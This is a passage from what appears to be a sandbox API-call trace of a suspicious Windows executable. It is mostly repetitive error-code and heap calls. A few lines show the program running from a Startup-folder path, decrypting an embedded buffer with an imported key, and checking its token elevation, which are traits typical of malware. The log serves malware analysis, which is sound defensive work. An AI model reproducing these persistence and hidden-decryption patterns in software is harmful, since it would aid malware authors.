15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x48\xcc\xef\x10\xf8\x40", lpUsedDefaultChar=0x0) returned 256 [0266.199] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xf6f728, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x81 [0266.199] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.200] SetLastError (dwErrCode=0x0) [0266.200] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.201] SetLastError (dwErrCode=0x0) [0266.201] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.202] SetLastError (dwErrCode=0x0) [0266.202] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.203] SetLastError (dwErrCode=0x0) [0266.203] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.204] SetLastError (dwErrCode=0x0) [0266.204] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.205] SetLastError (dwErrCode=0x0) [0266.205] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.206] SetLastError (dwErrCode=0x0) [0266.206] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.207] SetLastError (dwErrCode=0x0) [0266.207] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.208] GetLastError () returned 0x0 [0266.208] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x8a) returned 0xa619b0 [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.209] SetLastError (dwErrCode=0x0) [0266.209] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.210] SetLastError (dwErrCode=0x0) [0266.210] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.211] SetLastError (dwErrCode=0x0) [0266.211] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.212] SetLastError (dwErrCode=0x0) [0266.212] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.213] SetLastError (dwErrCode=0x0) [0266.213] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.214] SetLastError (dwErrCode=0x0) [0266.214] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.215] GetLastError () returned 0x0 [0266.215] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.216] SetLastError (dwErrCode=0x0) [0266.216] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.217] SetLastError (dwErrCode=0x0) [0266.217] GetLastError () returned 0x0 [0266.218] SetLastError (dwErrCode=0x0) [0266.218] GetLastError () returned 0x0 [0266.218] SetLastError (dwErrCode=0x0) [0266.218] GetLastError () returned 0x0 [0266.218] SetLastError (dwErrCode=0x0) [0266.218] GetLastError () returned 0x0 [0266.218] SetLastError (dwErrCode=0x0) [0266.218] GetLastError () returned 0x0 [0266.218] SetLastError (dwErrCode=0x0) [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x9c) returned 0xa61a48 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1f) returned 0xa61af0 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x36) returned 0xa61b18 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x37) returned 0xa61b58 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x3c) returned 0xa61b98 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x31) returned 0xa61be0 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x17) returned 0xa61c20 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x24) returned 0xa61c40 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x14) returned 0xa61c70 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0xd) returned 0xa61c90 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x25) returned 0xa61ca8 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x39) returned 0xa61cd8 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x18) returned 0xa61d20 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x17) returned 0xa61d40 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0xe) returned 0xa61d60 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x69) returned 0xa61d78 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x3e) returned 0xa61df0 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1b) returned 0xa61e38 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1d) returned 0xa61e60 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x48) returned 0xa61e88 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x12) returned 0xa61ed8 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x18) returned 0xa61ef8 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1b) returned 0xa61f18 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x24) returned 0xa61f40 [0266.218] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x29) returned 0xa61f70 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1e) returned 0xa61fa8 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x41) returned 0xa61fd0 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x17) returned 0xa62020 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x14) returned 0xa62040 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0xf) returned 0xa62060 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x16) returned 0xa62078 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x2a) returned 0xa62098 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x29) returned 0xa620d0 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x15) returned 0xa62108 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x1e) returned 0xa62128 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x2a) returned 0xa62150 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x12) returned 0xa62188 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x18) returned 0xa621a8 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x46) returned 0xa621c8 [0266.219] HeapFree (in: hHeap=0xa60000, dwFlags=0x0, lpMem=0xa611f8 | out: hHeap=0xa60000) returned 1 [0266.219] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0266.219] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x8, Size=0x80) returned 0xa611f8 [0266.219] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xf681f6) returned 0x0 [0266.219] RtlSizeHeap (HeapHandle=0xa60000, Flags=0x0, MemoryPointer=0xa611f8) returned 0x80 [0266.505] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x30) returned 0xa61280 [0266.505] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x3340) returned 0xa62218 [0266.505] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x174) returned 0xa612b8 [0266.506] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x10) returned 0xa61438 [0266.506] CryptAcquireContextW (in: phProv=0xf6fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xf6fcf0*=0x4d4ed8) returned 1 [0266.516] CryptImportKey (in: hProv=0x4d4ed8, pbData=0x40f734, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x40f79c | out: phKey=0x40f79c*=0x4d4e80) returned 1 [0266.516] CryptSetKeyParam (hKey=0x4d4e80, dwParam=0x1, pbData=0x40f784, dwFlags=0x0) returned 1 [0266.516] CryptDecrypt (in: hKey=0x4d4e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa61438, pdwDataLen=0x40f750 | out: pbData=0xa61438, pdwDataLen=0x40f750) returned 1 [0266.516] CryptDestroyKey (hKey=0x4d4e80) returned 1 [0266.516] GetTickCount () returned 0x6af2 [0266.516] GetLastError () returned 0x0 [0266.516] SetLastError (dwErrCode=0x0) [0266.516] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x40f7c0, cchData=32 | out: lpLCData="\x03") returned 16 [0266.518] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x1c) returned 0xa61450 [0266.518] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x1c) returned 0xa61478 [0266.518] GetVersion () returned 0x1db10106 [0266.518] GetCurrentProcess () returned 0xffffffff [0266.518] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x40f7a8 | out: TokenHandle=0x40f7a8*=0x80) returned 1 [0266.518] GetTokenInformation (in: TokenHandle=0x80, TokenInformationClass=0x14, TokenInformation=0x40f7a0, TokenInformationLength=0x4, ReturnLength=0x40f7a4 | out: TokenInformation=0x40f7a0, ReturnLength=0x40f7a4) returned 1 [0266.518] CloseHandle (hObject=0x80) returned 1 [0266.518] RtlAllocateHeap (HeapHandle=0xa60000, Flags=0x0, Size=0x20) returned 0xa614a0 [0266.518] CryptImportKey (in: hProv=0x4d4ed8, 